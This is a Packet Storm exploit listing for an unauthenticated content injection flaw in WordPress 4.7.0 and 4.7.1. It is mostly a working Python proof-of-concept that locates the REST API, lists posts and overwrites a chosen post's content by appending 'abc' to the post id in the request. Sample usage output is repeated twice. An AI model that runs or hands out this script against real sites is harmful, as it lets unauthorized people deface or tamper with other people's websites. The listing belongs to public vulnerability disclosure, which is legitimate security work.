WordPress 4.7.0 / 4.7.1 Content Injection Proof Of Concept

2017-02-02T00:00:00
ID PACKETSTORM:140901
Type packetstorm
Reporter leonjza
Modified 2017-02-02T00:00:00

Description

                                        
                                            `# Exploit Title: Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC  
# Date: 2017-02-02  
# Exploit Author: @leonjza  
# Vendor Homepage: https://wordpress.org/  
# Software Link: https://wordpress.org/wordpress-4.7.zip  
# Version: Wordpress 4.7.0/4.7.1  
# Tested on: Debian Jessie  
#  
# PoC gist: https://gist.github.com/leonjza/2244eb15510a0687ed93160c623762ab  
#  
  
# 2017 - @leonjza  
#  
# Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC  
# Full bug description: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html  
  
# usage example:  
#  
# list available posts:  
#  
# A>> python inject.py http://localhost:8070/  
# * Discovering API Endpoint  
# * API lives at: http://localhost:8070/wp-json/  
# * Getting available posts  
# - Post ID: 1, Title: test, Url: http://localhost:8070/archives/1  
#  
# update post with content from a file  
# A>> cat content  
# foo  
#  
# A>> python inject.py http://localhost:8070/ 1 content  
# * Discovering API Endpoint  
# * API lives at: http://localhost:8070/wp-json/  
# * Updating post 1  
# * Post updated. Check it out at http://localhost:8070/archives/1  
# * Update complete!  
  
# 2017 - @leonjza  
#  
# Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC  
# Full bug description: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html  
  
# usage example:  
#  
# list available posts:  
#  
# $ python inject.py http://localhost:8070/  
# * Discovering API Endpoint  
# * API lives at: http://localhost:8070/wp-json/  
# * Getting available posts  
# - Post ID: 1, Title: test, Url: http://localhost:8070/archives/1  
#  
# update post with content from a file  
# $ cat content  
# foo  
#  
# $ python inject.py http://localhost:8070/ 1 content  
# * Discovering API Endpoint  
# * API lives at: http://localhost:8070/wp-json/  
# * Updating post 1  
# * Post updated. Check it out at http://localhost:8070/archives/1  
# * Update complete!  
  
import json  
import sys  
import urllib2  
  
from lxml import etree  
  
  
def get_api_url(wordpress_url):  
response = urllib2.urlopen(wordpress_url)  
  
data = etree.HTML(response.read())  
u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0]  
  
# check if we have permalinks  
if 'rest_route' in u:  
print(' ! Warning, looks like permalinks are not be enabled. This might not work!')  
  
return u  
  
  
def get_posts(api_base):  
respone = urllib2.urlopen(api_base + 'wp/v2/posts')  
posts = json.loads(respone.read())  
  
for post in posts:  
print(' - Post ID: {}, Title: {}, Url: {}'  
.format(post['id'], post['title']['rendered'], post['link']))  
  
  
def update_post(api_base, post_id, post_content):  
data = json.dumps({  
'content': post_content  
})  
  
url = api_base + 'wp/v2/posts/{post_id}/?id={post_id}abc'.format(post_id=post_id)  
req = urllib2.Request(url, data, {'Content-Type': 'application/json'})  
response = urllib2.urlopen(req).read()  
  
print('* Post updated. Check it out at {}'.format(json.loads(response)['link']))  
  
  
def print_usage():  
print('Usage: {} <url> (optional: <post_id> <file with post_content>)'.format(__file__))  
  
  
if __name__ == '__main__':  
  
# ensure we have at least a url  
if len(sys.argv) < 2:  
print_usage()  
sys.exit(1)  
  
# if we have a post id, we need content too  
if 2 < len(sys.argv) < 4:  
print('Please provide a file with post content with a post id')  
print_usage()  
sys.exit(1)  
  
print('* Discovering API Endpoint')  
api_url = get_api_url(sys.argv[1])  
print('* API lives at: {}'.format(api_url))  
  
# if we only have a url, show the posts we have have  
if len(sys.argv) < 3:  
print('* Getting available posts')  
get_posts(api_url)  
  
sys.exit(0)  
  
# if we get here, we have what we need to update a post!  
print('* Updating post {}'.format(sys.argv[2]))  
with open(sys.argv[3], 'r') as content:  
new_content = content.readlines()  
  
update_post(api_url, sys.argv[2], ''.join(new_content))  
  
print('* Update complete!')  
  
`